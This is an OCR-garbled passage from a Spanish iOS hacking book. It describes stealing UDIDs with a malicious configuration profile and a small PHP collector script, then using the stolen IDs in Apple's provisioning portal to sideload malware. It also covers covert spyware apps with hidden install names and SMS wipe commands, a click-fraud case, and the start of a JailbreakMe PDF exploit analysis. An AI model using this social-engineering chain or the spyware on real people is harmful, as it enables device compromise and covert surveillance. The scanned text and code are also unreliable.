' File: profi 1e.mchi Tazensig

This page in: English

Imagen 17.30: Aspecto del index.phip del servidor que aloja el perfil malicioso.

Hay que convencer a la victima de que haga clic cn Install iOS Profile & instale dicho perfil malicioso,
que permitird al acker obtener el UDID de la victima, por lo que la calidad de la web v del engafio
irdn en proporeion con el namero de victimas,

Ademas de alojar los ficheros necesarios para dar aspecto a la web, v hacer creible el engafio, ya sean
de imagenes, de estilos, eteétera, y el propio perfil malicioso que sc ha creado anteriormente (fichero
profile.mobileconfig), cs neeesario un fichero, que contenga el eddigo necesario para recoger v
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persistir los datos enviados por las victimas. En este caso es el fichero refrieve. php, €l que se encarga
de dicha tarea. A continuacion se muestra el cddigo, que como se puede apreciar es muy simple:

<7php
Sdata = file_get_contents(php://finput®);

file_put_contents(“data.txt", S$data);

hecder{"Location: hittp://192, 168, 8,55 8888/ 1osmalware/retrieveldata="_rawurlencode($data));

retrieve, que lo tnico que hace esun ed:o por pantalla de lo que le llega por par ametro v as1 mostrar
los datos que envia ¢l dispositive, nada mas instalar ¢l perfil.

En un caso de hacking real, bastarfa con redireccionar al usuario a una nueva pagina weh en la que
se le indique que la instalacion del certificado ha tenido éxito, o la informacion pertinente en cada
caso, seplin el engano.

Para que esta pequefia infraestructura tenga éxito, el pertil debe apuntar a dicha web, y al fichero
retrieve.,php, para que los datos queden correctamente almacenados en el servidor. Si se observa la
imagen 06.28, en la gue aparcee ¢l perfil maliciose, se apunta haeia una URL conerela, que on este
caso apunta al servidor local de pruebas, que es htip:/localhosi: 8888 /retrieve.php.

Instalacion del Perfil de Configuracion que roba UDID

Como se ha descrito anteriormente, la idea es subir el perfil malicioso a una web de libre aceeso, v
con un poco de ingenieria social, conseguir que la victima lo instale, de manesra que el dispositivo
envie el ansiado UDID al servidor malicioso que el fiacker o atacante tiene montado. En el servidor
se recibiria la informacién solicitada en ¢l perfil, v se almacenaria en un fichero o en una base de
datos. A continuacian se van a presentar los pasos que realizarfa el usuario/victima para instalar
dicho perfil.

“L-o primero es cargar la web en la que se encuentra publicado el perfil del atacante que recopilara
informacion sobre el dispositivo, es decir, habrfa que darle 1a URT. a la victima y convencerla de
gue acceda e instale el perfil. Una vez que la victima hace clic en el perfil en el servidor malicioso,
aparcce el perfil en €l propio dispositivo. v entonces el usuario debe indicar gue desea instalarlo, tal
¥ como s& muestra en la siguiente captura: T ‘
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cancelr Instalar perfil

| i64 Profile Service
Informat cafs

Descripeién  This temporary profile will ba
used to find and display your
currenl device's UDID.

Recibido 15/01/2013

Contiene Comprabacisn para |a
activacién del servicio en &l
dispositivo

Perfil sin firmar

Cancelar Instatar

| Més detallas

Imag_r,en 07.32: Dcsplcgando perfil en un iPhone.

Ademas, el perfil en este caso estd sin firmar, lo que complicaria ¢l cngafio, ya que puede hacer
desconfiar al usuario de que lo instale, aungue esto se puede remediar firmando dicho perfil con un
certificado valido.

Una vez que se pulsa el botén Instalar, lo primero que pide es ¢l passcode, y posteriormente se
muestran los datos que estd enviando el propio dispositivo en la pantalla, tal ¥ como se aprecia en
las siguicnles capturas:

e
WELI SR A Db Cnl) e ERECR

Imugen 07.33: lostulendo el perfil que recaba datos del dispositivo.
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En este caso y como prueba de concepto, se realiza de la manera mas sencilla, por lo que simplemente
sc guarda la respuesta del iPhone en un fichero .xt, que tiene el siguiente aspecto:

oA oAl
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B +BA +0H0"
tA$ACE<?znl version="1.8" encuding="UTF-B8"7>
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“HEFORTHR™ApEcin Tel‘0f, $he:l
ﬂz A Ardiy+ K
Jliame~ KRSE® 1009i-f1i[L6=p, 19=4184s; 00, 0" TevzlaqcAindiousaix, 1#D01jy " ALEsyBLATRU] 0 [ 720 "5 Znl 510
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]
+UH0-
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En la captura de este fichero, es posible apreciar como el dispositivo iS5, (que en este ¢aso cs un
iPhone 4), ha enviado la informacion que el perfil solicitaba, y por tanto se podria decir que ha
finalizado la parte de adquisicién o robo del UDID. Con esto el atacante se encuentra en disposicion
de pasar a la siguiente fase del ataque, que seria la creacion de un perfil de distribucidn para que la
victima pueda instalar el malware del atacante, ya que sin dicho perfil, no es posible la instalacién de
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software sin firmar cn ¢l dispositivo, tal v como se presentd en el apartado Trovanos con Provisioning
Profiles.

Creacion del pertil de distribucion

Tara crear un perfil de distribucién, y que las victimas puedan instalar ¢l software, se recuerda que
el malware no esta firmado por Apple, es necesario dirigirse a la web de iOS Provisioning Portal,
que se puede encontrar en la direccidn estahlecida para desarrolladores de Apple, la cual es i0S Dev
Cenfer:

i0S Developer Program

i0S Provisioning Portal ©
iTunes Connect (]
Apple Developer Forums 5]
Developer Support Center 1>]

Imagen 07.25: Acceso a (08 Provisioning Portal, situado en {08 Dgy-Ceriter,

Una vey en el home de i0S Provisioning Portal, en la parte de la izquicrda hay un panel que contiene
un menii de opciones, en dicho memi se cncuentra la seccion de certificados por donde hay que
COMCTLZAT

. Certificates

Anp 1Ds
Provisicning

Distribution

Imazen (7.30: Menu de iOS Provisioning Portal.

En la seccion de certiticados se puede encontrar una pestafia How 7o, en donde hay informacion
detallada de cémo crear los certificados. Hav que crear un certificado CSR (Certificare Signing
Reguest) con la aplicacién Kevehain para luego abadirlo o enviarle a la seccién de certificados de
i08 Provisioning Portal.

Para crear ¢l CSR hay que ir al menu principal de la aplicacién Keychain, en Acceso a Liaveros >
Asistente para certificados > Solicitar un ceriificado de una autoridad de certificacion, y aparccera
un cuadro de didlogo como el siguiente:
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Informacién del oertlﬂt_:ado

Introduzca informacion para el certificado que esta solicitando.
Haga clic en continuar para solicitar un certificado de fa CA,

Direccin de comreo del usuaric: |jmaguayo@informaricasd.com | v |

Nombre comdn: l]uanh* Aguayo Sdnchez |
| *ACSF Direccidn de correa de la CA- |
: La palabra clave: (_) Se envia per coreeo eiectrénico a la €A
Se giiarda en &l disco
y Fermitirme especificar |a informacitn
— gzl par de llaves

Continuar |

Imagen 07.37: Creando un CSR con Keyehaia para enviarlo a i10S Provisioning Portal.

Esto gencra un archivo con extension .certSigningRequest, que se debe subir al portal. Al cabo
de poeco tiempo, es aceptado, y asi el Cerifficado de Distribucion esta disponible para descargar y

ponerlo a buen recaudo en ¢l Keychain. A continnacion se muestra en la siguiente captura:
L1 WAL D0 Lenter

Distribution | History

T
_] HewTo 0

Certificases

Current Distribution Certificate

Name | Expiration Date ! Pravisioning Profiles | Starus | Actions
B v Juan Miguzl Aguave sanchez lan 27, 2014 Isued ((Bmemsad ) Revoke

FIf you do not have the WWDR intermediate certificate installed, click hare 1o download now.

Imagen 17.38: Certificada de distribucién, disponible para descargarlo,

Cuando se descarga, se aprecia que es un fichero .cer, como se puede comprobar en la siguiente

captura:

Ha elegida abrir

1 ios_distribution.cer
Gue es de tipo: BinaryFile

ce: https://developerapple.com
il e gustaria guardar ests archivo?

Cancc!lar' i ; - '__

Imagen 07.39: Descarrando el certificade de distribucion.
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Después de crear este certificado CSR, enviarlo. que sea aceptado, descargado e instalado, hay que
crear ¢l Perfil de Distribucion, para el cual es necesario el Certificado de Distribucion recién creado.
Ilay que situarse en la seceion Provisioning > Distribution > New Profile, y aparece todo lo que se
necesita para completar la creacion del perfil, tal v como se muestra en la siguiente captura:

Create i0S Distribution Provisioning Profile

Generatz provisioning orofiles here, All fields are required unless otherwise norec. To lzarn more, visit the How To section.

Distribution Method () app stare @ ad Hoc

Profile Name [Enter a profile name ]

Distribution Certificate  Juan Miguel Aguayo 5anchez  (expiring on lan 27, 2014}

App ID [ Sefectasdpnin i3

Devices {optional) . Select up to 100 devices for distributing the final application: the final application wiil run only on
these selected devices.

Select All
[] ChipironBombitas iFad F'iphone 3G
([} JuanMi's iFhone

Imagen 07.40: Aspecto de la seccién para crear un periil de aprovisionamicnto para distribucion,

En esta captura se puede comprobar, que es necesario un nombre para el perfil, seleccionar una App
ID, v tener anadidos los dispositivos en la lista, ademas del Cerfificado de Distribucion que se ha
creado anteriormente y que aparcee aulomalicamente.

Para averiguar el 4pp ID, hay que consultar ¢l fichcro Info. Plist de la aplicacion o malweaire
desarrollado, v observar el campo Burdle Identifier, tal v como se aprecia en la siguiente captura:

¥ Information Property List Dictiorary (13 items)

Localization native deve'iopmnt reg String n
Bundle display name Sering ${PRODUCT_NAME}
Executable file String ${EXECUTABLE_NAME}
Bundle identifier String com.informaricatd. {FRODUC T_NAME:rfc 1034ide ntifier}
infoDictionary version String 6.0
Bundle name String ${PRODUCT_NAME}
Bunidie O5 Type code Striné APPL
Bundle versions string, short String 1.0
Bundle creator OS Type code String Fites
Bundle version String Lo
Application requires IPhone envirom Boolean YES

¥ Required device capabilities Array (1 item)

# Supported Interface orlentations Array (3 items)

Tmagen 07.41: Fichero fnfo.plist. con el Bundle Identifier.
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Otra opcidn es crear un App ID que identifique a toda un conjunte de apps, con lo que una vez que
se consigue que una victima se instale el Perfil de Distribucion, podria instalar otras aplicaciones o
malware y no solo el mahware de esta PoC.

Para finalizar, faltaria afiadir los dispositivos victimas a la lista de dispositivos del portal, para poder
crear ¢l perfil para dichos dispositivos en concreto. Es aqui donde entran en juego los UDID robados
con el perfil de Configuracion. Habria que situarse en la seccion Device > Manage > Add Devices,
y aparece una cuadro como el siguiente:

Device Name Device ID (40 hex characters)

S e — ] (= (]

Imagen 07.42: Afiadiendo dispositivos al portal de desarrollo de /0S.

En donde se pueden introducir los nombres de dispositivo, y sus respectivos UDID, que se deseen,
hasta un méximo de 100 con la licencia de desarrollador.

Con este paso, ya se tiene todo lo necesario para crear el Certificado de Distribucion, asi que basta
con hacer clic en el boton Submiz, y el certificado aparecerd como Pending,tal y como se puede
apreciar en al siguiente captura:

# Distribution Provisioning Profiles e Prile |

Imagen 07.43: Certificado ¢n cstado Pending, una vez se ha hecho la solicitud,

Al poco tiempo, el certificado estard en eslado Aciive, y podra ser descargado para ser utilizado con
aquellos disposilivos para los que se cred, como se puede apreciar a continuacion:

# Distribution Provisioning Profiles [ Ermiie
o i Slatus | Actions.

(] '@ i64 Closed sera VZUANUZZPC.” Expired Moty

& (@ 108 Crivical Updare VRUANUZTPC.” Active (Sovniaaa) Edit

Tmagen 07.44: Certificado en estado Active, listo para descargar y ser ulilizado,

Una vez que se tiene el Certificade de Distribucion y el .ipa o fichero resultante tras programar el
malware deseado, solo falta instalarlo en algin dispositive, lo que se puede hacer a través de iTunes.
Esto se aprecia en la siguiente grafica que representa los pasos a seguir por los testeadores de apps:
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Imapen 07.45: Pasos a seguir por los festers de apps en 108,

Otra opcién es utilizar el entorno de desarrollo para realizar 1a instalacion, ya que basta con arrastrar
el certificado al icono del Xcode, y se podra realizar la instalacion en el dispositivo, como si se
tratase de un testeo mas de desarrallo, una vez esté Xeode levantado y el dispositivo concetado y
desbloqueado.

4. Troyanos con Jailbreak

Como se ha presentado a lo largo de este capitulo, la barrera entre el malware y el usuario final es la
App Store, pero en caso de que el terminal tenga Jailbreal, se pueden instalar apps de ofras fuentes
o repositorios no oficiales, y por lanto no firmadas por Apple. Por esla razon, es posible encontrar
muestras de malware en Cydia o en otros repositorios. A continuacion se presentan algunas muestras
de malware y troyanos que se puedan instalar en terminales con Jailbreak:

iKeyGuard

Disponible en Cydia solo para terminales con Jailbreak, hace las funciones de un keylogger clasico,
ejecutandose discretamente en segundo plano, ¥ capturando cada pulsacion en el dispositivo.
Publicitada como ¢l primer keyiogger ¢n 108 y de uso prolesional para controlar a los empleados,
es la herramienta perfecta para capturar informacion confidencial o inferesante de cara 4 un ataque
posterior.

Se accede a ravés del navegador Safuri, con la URL hup:ocalhost 4444/logs, v se puede gestionar
la aplicacién a través de un panel web, tal y como sc puede apreciar en la siguiente captura:




ipitulo V1. Malware en iOS |

th
~

localhost:ddd4/cetlings ¢

Logs Secitings BUY Logout Lags | Settings BUY Logout

iKeyGuard Settings

Vielcome ta the wab acdministration of the Registarad ;

4 5 " % Jmaguayo@informaticagd. com

iKeyGuard kev logger. The most feature-rich Mail(1): &

key logger for iDevicas. Sending 01 @Hourly Obaily ©
Frequercy:  Wankly (2 Monthly

iKeyGuard is currenlly ENABLED Dalivery

¥ | ey ©sutp OFTP OBRoth

@ Clear logs attar sending &-
Tip: You can set o password in the sstiings. mait

Logs :ng;'g ©none OiLog [DEL] @ Defautt

Imagen 07.46: Aspecto del pauel de control de iKeyGuard.

Se puede configurar el envio de los logs con las pulsaciones capturadas por correo electrénico,
utilizando varios métodos, y también se puede elegir la frecuencia de envio. La version gratuita tiene
muchas limitaciones, pero existen otras dos versiones de pago, con muchas mas caracteristicas muy
interesantes, como se puede comprobar en la siguiente tabla:

et
LARCAS

LS SERN

Imagen 07.47: Tabla comparative de las diferentes versions de iKeyGruard.

OwnSpy

Esta aplicacion es un troyano que permite, monitorizar, visualizar y en gencral espiar por completo
la actividad de un iPhore. La lista de funcionalidades es increible, aunque depende de la version. A
continuacion, se muestran las funcionalidades tal y como aparecen en la web oficial de la app:
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EEF) Grabacién de Apps {©) WhalsApp
:El@mm;im & Fotos
W SV y iMessage @ Historial Web
Q Localizacién i Usode Apps

£ Hstoriol dell . &8 Exportor dotes

B Cekicion A, Intercepiacién de

llanadas
T Desinstalocién remota . Liomaodc esgla
& Audio en directo ¥ Correo

(O WhatsApp £ Pusaciones de tedlado
= 5 -’_-.."_:_. K . F ,,I '“G(ﬂé'

Existen varias versiones, disponibles en Cydia, en el repositorio é@,f/' dmyi.com. aungue
también se puede cncontrar més informacion en la web oficial DY.C s_install. phpt
Evidentemente, para instalarla hace falta que el dispositivo ten ga !au'brmﬁ tal como se explica en
la web oficial:

Imagen (7.49: Proceso de instalacion de OwnSpy.

Una vez instalada, basta con registrar el dispositivo, y se podra controlar desde dicha web. Para
finalizar, comentar que incluso serfa posible ocultar el icono de Cydia, para que el Jailhreak pase
desapercibido.

Mobile Spy

Publicitado en la web oficial htp:/Avww MobileSpy.es, como software para espiar dispositivos
maviles, permite infervenir en secreto desde los mensajes o conversaciones de Whatsapp. chats de
Facebook, Twitter, localizacion GPS, llamadas de teléfono, mensajes SMS, fotos y videos, histérico
de navegacion, lista de apps instaladas, e incluso bloquearlas.

Esta aplicacion solo funciona en termmales con Jm!break y para instalarla s necesario afiadir en
Cydia el siguiente repositorio 4 18 0-is : Core Utilitias, que es
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un paquete con otro nombre para no levantar sospechas. Una vez que la app se ha instalado, no
aparece ningun icono en el escritorio, de manera que para poder acceder al panel de control de la
app, cs necesario marcar *12345 en el panel de llamada. Una vez se ha realizado dicha marcacion, el
springboard se reinicia y es entonces cuando aparece el icono de la app, con el nombre Smartphone,
¥ que luce el siguiente aspecto:

*12345

Imagen 07.50: Accediendo ul panel de Mobile Spy.

_ na vez que se ha mstalado. y accedido al panel hay que [oguearse 0 registrarse, va sea desde el

Imagen 07.51: Diferentes secciones de la app Mobile Spy.
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Para comprobar o gestionar en remoto la informacién o actividad de un dispositivo iS5, se
puede acceder VIEI weh al panel de admuu;-tmcwn de dlCllil upp, a traves de la web il y

remoto que esth dividido en varias parfes

Welcome juanig4

Tmagen (17.52: Panel de informacidn, dentro del panel de control remoto de Mubile Spy.

Lin ‘esta primera parte del panel de control. aparece una recopilacién de datos del dispositivo
troyanizado, como tipo de dispositivo, modelo, UDID, IMEI, version del sistema operativo,

operador, ltima TP, cleélera.

NDespués de cste primer cuadro de informacion, aparecen otros cuadros que recogen todas las
acciones que se pueden realizar o monitorizar del dispositivo infectado, séparados en dos secciones,
tal y como se muestra en la siguiente captura:

LG YIEWE

e 8 ¢ ) e
Tt Mirsxignen = Lo Wiibiuls Vislnz YouTuts
= == = : = ==
| &) $ | m %
L % $ | B =
Can i i Thak: i Lisma | Anpe nstalied LR/E Pasel
H O & H
PN Messags | Wessage Massangar | | Gociel Netwarkirg
BERE————ee e |
= ‘ ) W =% -3
S Claar Al Loge Surmary. | 5 Spwt | ChangePasmod
B 4 AW
SMS Corimands I ArdLicanse Gt Soppor. | Remollnnsm | LogoftAnount

Imagen 07.53: Panel web de contrel remotod o moniterizacioén de Mobile Spy.




Capitulo VII. Malware en iOS 161

En dicho panel, se encuentran dos secciones, la primera es la parte de logs, llamada Log Viewers y
la segunda seccion User Tools. En cslas secciones se pueden ver numerosas acciones permitidas,
para monitorizar diferentes servicios utilizados en el terminal, aunque cabe decir, que no todos
estos servicios funcionan en /0S8, ya que algunos son especificos de Blackberry o Android, aunque
aparecen en este panel, ya que el pancl de control es general para todos los sistemas operativos
“moviles.

Por otra parte se tiene el Gltimo cuadro de opciones, llamado User Tvols, en el que sc pueden
realizar tareas relacionadas con ¢l propio troyano Mobile Spy y la cuenta con la que se ha registrado
el dispositivo, ya sea cambiar la contrasefia, desinstalar Mobhile Spy en remoto, obtener soporte, o
deslogucarse, y can respecto a los logs, se pueden hacer busquedas, borrar, o ver el resumen de todos
logs.

Ademas se pueden enviar comandos SMS al dispositivo, lo cual es bastante interesante. va que a
través de estos comandos SMS, se pueden realizar multitud de acciones de control sobre el terminal
infectado.

A continuacion, se muestra una caplura de varios ejemplos de comandos SMS:

iPhone SMS Commands:
*12345 lock - Remotsly lock the phone 1o restrict usage.

*12345 unlock - Remotely unlock the phone 1o allow usage.

*12346 gps - Retrieve the curreni GPS position of the monitored phone. The phone you send
the command from will receive an SMS message conlaining this position and a link to it on a
map.

*12345 siminfo - Retrieve the current informalion on the SIM card currently in the device. The
phone yoi: send the command from will receive an SMS message containing this information.

*12345 wipe - Remotely delete the recent call history, SMS history, URL history, stored contacts,
and photos on the menitored device.

When sending an SMS command, only include the command code itsalf (no other info in the
message). The monilored phone will not receive an incoming message alert as if a normal SMS
message does.

Imagen 07.54: Comandos SMS de Molule Spy para iQS.

Otra cosa a tener cn cuenta, es la que la funcionalidad del troyano, dependera de la version utilizada,
ya que existe una version trial, y evidentemente, para tener la funcionalidad total, habra que tener
una version de pago. Ademas para algunos servicios como el envio de comandos SMS, hace falta
un complemento llamado LIVE Control Panel, que permite ademas el envio de los logs por correo.
Para activar este servicio, hay que situarse en la tltima pestafia dc la app, y se podra configurar
frecuencia, y contenidos de logs enviados a la cuenta deseada, tal y como se aprecia en la siguiente
captura:



162 Ilacking de dispositivos iOS: iPhone & iPad

Imagen 07.55: Activande LIVE Conrrol Panel.

A continuacién se muestra una captura, en la quc aparccen las ventajas del servicio LIVE Controf
Panel, y su precio;

« See the Phone's Screen LIVE in Your Browser®

+ See the curent GRS Localion LIVE on a Map

Parform Instant Survalliance and Recovery Commands
Enable Automatic Emall Leg Delivary for Normal Logs
Instantly Send Contacts and Call Logs via Email
Instantty Send SMS Logs via Email Delivery

Initizte 2 Normal Call un lhe Device for Recovery

Send a hNormal SMS on the Device for Recovery

Lock or Unlock the Phone From Being Lised

Turn a Siren Alarm On or Off for Recovery

L]

Purchase Now $39.97 Per Year

Imagen (7.56: Funcionalidades y precio de LIVE Conirol Panel.

FlexiSpy ¥ Oxigen Forensic

Fl nimero de troyanos creados para instalar en dispositivos que dispongan de terminales con
Jailbreak es considerable. FlexiSpy cs otro de los trovanos que otrece miltiples funcionalidades,
quE con mayor 0 menor aproximacion son las mismas que se han mencionado en los casos anteriores
SXPUCHLUS.




Capitule VII. Malware en iOS m

Sin embargo. no solo hay herramicntas para troyanizar sisternas, y aplicaciones de forense profesional
como Oxygen Forensic tienen médulos especiales para detectar este tipo de software malicioso
instalado en el terminal.

35,04 3012 13, BIAI0LE LL3L
60420017 1215, I5.0RH0LT 1150
26042017 16:45... TRMMNM2IG4E1R 5
02052012 8:04:28 02053012 8:04:30

| Aciign: ACTIVATE pertormed by the spyware wthe
Connaction start fime atarp (UTC): 20 04.2042 183116 devies.

ooy 11 Connechun skl me sk
Conneclicn oot w2 Slamp (UTC) 28.08.2012 11:31:18 @) i S

tme when connechan 16 the serve:

Malware a través de Cydia: Un caso de Click Fraud

Al igual que en el caso de instaStock, donde Charlie Miller demostraba como era posible hacer un
malware y distribuirlo por la App Store, este caso de Click Fraud descubierto por un investigador
espafiol, demuestra que tamhién se puede crear una aplicacion dropper en Cydia que consiga engaiiar
a usuarios para troyanizar sus sistemas,

El caso de Eagle, que asi se apoda el protagonista de esta historia, es que se dio cuenta de que su
tarifa de datos se cstaba consumicndo de mancra alarmante, por el tipico mensaje del operador,
algo que pudo contrastar por si mismo con la herramienta Data Moniror, tal y como se aprecia en la
siguieﬁte captura:
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" Cuaret Mool age- to age-31

12GB 151 MB o,
B MEL T sa.umm“& >
B2A MHET B3 MET

——— ]
Stobmbiael TR cal WL}
Laat Month: jul-110 ad-51

110 ket
35 MB esllimated AZ0 hB esbinatzad
Wastercim: ago-f, n

158 MEL S
T put TZ.aMBT

-
Para descubrir la aplicacion causante de este alarmante consumo hizo pasar cl trifico por un cquipo
por Wireshark, usando de un ataque man in the middle con Litercap entre su terminal iPhone y el
router Wi-Fi de casa, para descubrir que se realizaban muchas peticiones a sitios web extrafios.

Imagen 07.59: Sitios web visitados avtométicamente.
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Tras analizar en detalle una de las URLs, descubrié que una de ecllas llevaha en un pardmetro GET
el nombre de un usuario: Nobitazzz, creador de 9 aplicaciones en Cydia, entre otras, iOS 6 Photos
Memi, que es la que habia descargado el usuario que sufri6 el protagonista de esta historia.

HOST: prpdéver.netirin
user-agent: Mozilla/ 5.0 (irhone; cru frhone 05 511 11ke Mac oF X} Applewebr it /534.46 (oL, Tike seekn) Mobile/3B2064rY\n
AccepL: tuu’!r_l'l.npp'licatlw-m.r-vml,m"til’.fmim}:qnﬂ.9"_-'l;q.¢.n.a.\r\;|
Enferer: hrep: //prpdever . net/banni ere. php?ref-nobitarzzial lege<1rin
ACCEPT-LANguage: &i-es\rin

Accept-encoding: gzip, defliare\rin

conneccion: keep-aiive\rin

LFyn

Imagen 07.60: URL con referencia al usuario Nohitaz=z.

Este usuario Nobitazzz estaba haciendo peticiones a anuncios publicitarios, realizando un Click Frauel
a las compaifiias de publicidad, en las que se podia consultar el dinero ganado hasta el momento por
este usuario en una de ellas. Cuesta imaginar lo que llevaria en total ganado en todas ellas, motivo
por el cual el mundo del fraude online es tan rentable,

—= Welcome on PTPAEVER.net 11—

Top 10 memhers |

Ulsernamne s HuncT m scoount Alrcady paid Total
sakictagnn 353 5 96 5 43189 §
p2020 L77% e 29774
Piohiterrr 57TS FilE ) M0.50%
= 1E$ 162§ 16335 %
pimed G058 15083 156,855
smohacom 185§ s 125958
eamaed LE% LEE 23 53.02 ¢
riteshabee 0.7 628 L7
omprasta L¥s B % EL)ES
el L¥S _S-ui £ S6.25%

Tmagen 07.61: Dinero ganado por Nobitazzz en una de las URLs,

A dia de hoy, Saurik, creador de Cydia, estd avisado y ha tomado medidas contra este usuario que
ha prometido no realizar dicha accion mas, pero la situacién deja de manifiesto la necesidad de
confiar en las medidas dc scguridad que las tiendas de aplicaciones toman sobre las aplicaciones
gue ofrecen.

Conclusion

Alfinal, ya sea mediante una app a través de la App Store que salte los controles y con tenga funciones
dormidas, a través de la realizacion de un ataque basado en un provisioning profile a un terminal
sin Jailbreak. mediante la realizacion de un Jailbreak o haciendo uso de Cydia y terminales que
va tengan Jailbreak, es posible encontrar formas de introducir un software malicioso que controle
remotamente un terminal iPhone o iPad.
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Capitulo VIII
JailOwnMe

1. Introduccion

El sistema operativo i0S de Apple es, probablemente, uno de los mas seguros debido a la gran
cantidad de controles de seguridad que se incorporan por defecto y que ademés no pueden ser
desactivados por el usuario. Sin embargo, el niimero de bugs que se descubren dia a dia en iOS es
muy alto, y basta con echar un ojo a las estadisticas para darse cuenta de que podrian desarrollarse
muchos exploits con ellos, con la paciencia y los conocimientos adecuados.

Vulnerabilities By Year Vuinerabilities By Type
o071 '

106 | 120
B 20085 M B Overfiow 50 II
B 2009 27 B Denisl of Service 120 |
M 010 32 i i -} Memory Comuption 89
W o014 37 Gein Information 32
M 2012 108 M xss 13
37 B 2013 16 B Bypass Something 26
7 32 el B Gain Privilege 4 ‘
|1 = III i | 12 4
- & ] m |

Imagen 08.01: Estadisticas de bugs en i0S recogidas en expedientes CVE.

B Execute Code 114

La mayoria de dichos bugs no son piblicos, quizd debido a la gran cantidad de dinero que se estd
pagando por ellos y a la complejidad de desarrollarlos, que scgiin la revista Forbes es de los més
caros.

Por desgracia, la scguridad frecuentemente es inversamente proporcional a la usabilidad, con lo
que paralelamente a la aparicion de iOS ha surgido la comunidad de Jailbreakers, que desarrollan
modificaciones sobre el sistema operativo original que les permita ejecutar sofrware no firmado por
Apple o poder acceder de forma completa a los directorios del dispositivo.

En un /0§, todo el software se encuentra firmado por Apple, desde la BootRom hasta el propio kernel
del sistema operativo, y por supuesto las aplicaciones. Como consecuencia, no se puede maodificar



m Hacking de dispositivos iOS: iPhone & iPad

¢l kernel de ninguna manera, va que la firma seria erronea y este nunca seria ejecutado, Para ello, la
comunidad de Jailbreakers se ha lanzado a la busqueda de vulnerabilidades que les permitan obtener
el control suficiente como para modificar ¢l proceso de arranque (llamado Secure Boot Chain por
Apple) y poder ejecutar un kerne! modificado o cualquier otra cosa.

Para un pentester, ¢l “cualquier otra cosa” que se pude realizar con un exploit que cs utilizado en las
herramientas de Jailbreak s lo més inlcresante, ya que se pueden usar las mismas vulnerzbilidades
ulilizadas para hacer Jailbreak, pero para compromeler un dispositivo y obtener acceso a su
informacion. Si estos son remotos, como los que se usaron en Jailbreak 2.0y Juilbreak Me 3.0 mejor
que mejor. De esta trata este capilulo, de como se puede sacar provecho de un exploir utilizado cn
JailbreakMe para adaptarlo a nuestras necesidades.

2.JailbreakMe 3.0

Comex es. sin duda, uno de los hackers de iOS mas conacidos de la scene, De sus manos han salido
diversos métodos que ha ido publicando en su web hrip:/fwww. JailbreakMe.com/. El mas reciente
de ellos, llamado JailbreakMe 3.0, surgio tras la aparicion del iPad 2, momento en el cual no cxistia
ninguna manera de hacer Jailbreak a estos dispositivos, ya que ¢l exploit limeraln (descubierto por
Geohot, otro de los grandes de la scene), que era el utilizado hasta este momento, aprovechaba una
vulnerabilidad en la BootRom, v esta habia sido actualizada en los nuevos dispositivos. Este nuevo
m Llﬂdl} ademas funcaonaba en la versidon 4.3.x {hd‘)ld la4.3.3),en 1a que A ppe’e ha.bl in _reme11tado

era posible hacer Jazibreak de los dlsposmms con Lan '-.Ulu visitar su web y pulsa: en un botdn, algo
que fascing 4 odos los usuarios de iOS.

: mmmmw T
»4mﬂhmwummm

Imugen 08.02; JailbrekMe 3.0 en Cvdia.
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Como suele ocurrir, hay avances que [ascinan a unos y asustan a otros. Lra evidente que si Comex era
capaz de hacer . Jailbreak de los dispositivos con tan solo visitar una web era porque el MobileSafari
o alguno de sus complementos tenia alguna vulnerabilidad que ¢ utilizaba para ejecutar codigo v, a
partir de ahi, realizar el Juilbreak. Sabiendo esto... jqué impediria a un atacante utilizar esta misma
vulncrabilidad para tomar el control de los dispositivos?

En un principio, el desconocimiento de la vulnerabilidad era lo dnico que impedia su uso para
otros propositos, ya que los delalles sobre esta no serfan publicados hasta tiempo después. Mas
tarde, Comex publicaria mcluso que codlgo tuente empleaba para explotar la vulnerabilidad en su
repositorio de github: h 171

En cualquier caso, investigar una vulnerabilidad a partir de un exploit (-day no documentado es
una tarea muy habitual en los equipos de seguridad de las principales empresas de desarrollo de
software y sistemas. Como es bien sabido, gran parte de los parches de seguridad que publican los
fabricantes de sistemas operalivos son obtenidos tras haber sido explotados por algln atacante o
malware mediante un exploit 0-day. Iras realizar la ingenieria inversa de estos exploits, s¢ descubre
la vulnerabilidad que propicio la explotacion, y a partir de esta informacion estudian 1a mejor manera
de corregirlo v se desarrolla el parche.

3.Obteniendo el exploit

Como ya se ha mencionado, cn un principio el eédigo fuente del exploif utilizado por Coniex no fue
publicado, pero eso no quiere decir que no se pudiera averiguar en que consistia. Visitando la weh
http. /iwww. JailbreakMe.com/ desde un equipo de usuario, sc recibiz un mensaje que decfa “Come
back on your iPhone, iPad or iPod Touch to use JailbreakMe”. Lra evidente que la aplicacion
web realiza un reconocimiento del dispositivo que la visitaba utilizando el User-Agent, que en el
caso de los sistemas 708 es extremadamenle representativo, ya que contiene la version exacta del
sistema operativo. Esta informacion, al igual que hacen los exploir-kits, era utilizada para redirigir al
dispositivo el exploit adecuado para su version, y de esta manera realizar el Jailbreak.

@ Show/hide hackbar

% Default User Agent

Desarrollador wab =
FoxyProxy Standard %
Informacién de la pdgina

Iniclar navegacin privada
Limpiar el histarial reciente...

Uaer Agmr Switcher L 4
it pata canseguir el exploits |
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Al visitar la pagina empleando el User-4gent adecuado, esta muestra un botén que. al ser pulsado,
redirige al navegador a un fichero PDF especialmente construido para la versién de iOS cuyo User-
Agent se esté usurpando. Ninguna accion posterior es realizada, por lo que este PDF debia contener
la explotacion de la vulnerabilidad.

en la URL hip:/fwww JailbrealMe.

Los PDFs, al intentar visualizarlos mediante cualquier visor, contenian una unica letra ((@).
Posteriormente se sabria que la vulnerabilidad se encuentra en el procesado del formato de la fuente,
por lo que visualizar una letra que emplee la fuente maliciosa era mas que suficiente para explotar
la vulnerabilidad. En otras situaciones, un atacante podria haber embebido esta fuente en cualquier
letra de un documento legitimo con ¢l fin de que el usuario no se percatara del engafio. Este PDF,
ademas, podria ser enviado por diferentes medios (enlaces, correo, etc) e ir comprometiendo a
dilerentes dispositivos.

Imagen 08.04: El documento PDF con solo una arroba.

Una vez obtenido ¢l exploit, el analisis del mismo consisti6 en el andlisis de un PDF, como si de un
analisis de malware se tratara.

4. Analisis del exploit

En muchas ocasiones no es estrictamente necesario entender el funcionamiento de un exploir para
poder alterar su payload y conseguir que realice las acciones que se deseen, pero ello siempre
contribuye a aumentar el conocimiento, asi que es un gjercicio muy recomendable.

En este caso, el JailbreakMe 3.0 explota dos vulnerabilidades diferentes de forma consecutiva. La
primera de ellas fue etiquetada con el identificador CVE-2011-0226 y consistia en un error en la
comprobacion de un entero dentro de la funcion callothersubr de Truetype, lo cual permitia cambiar
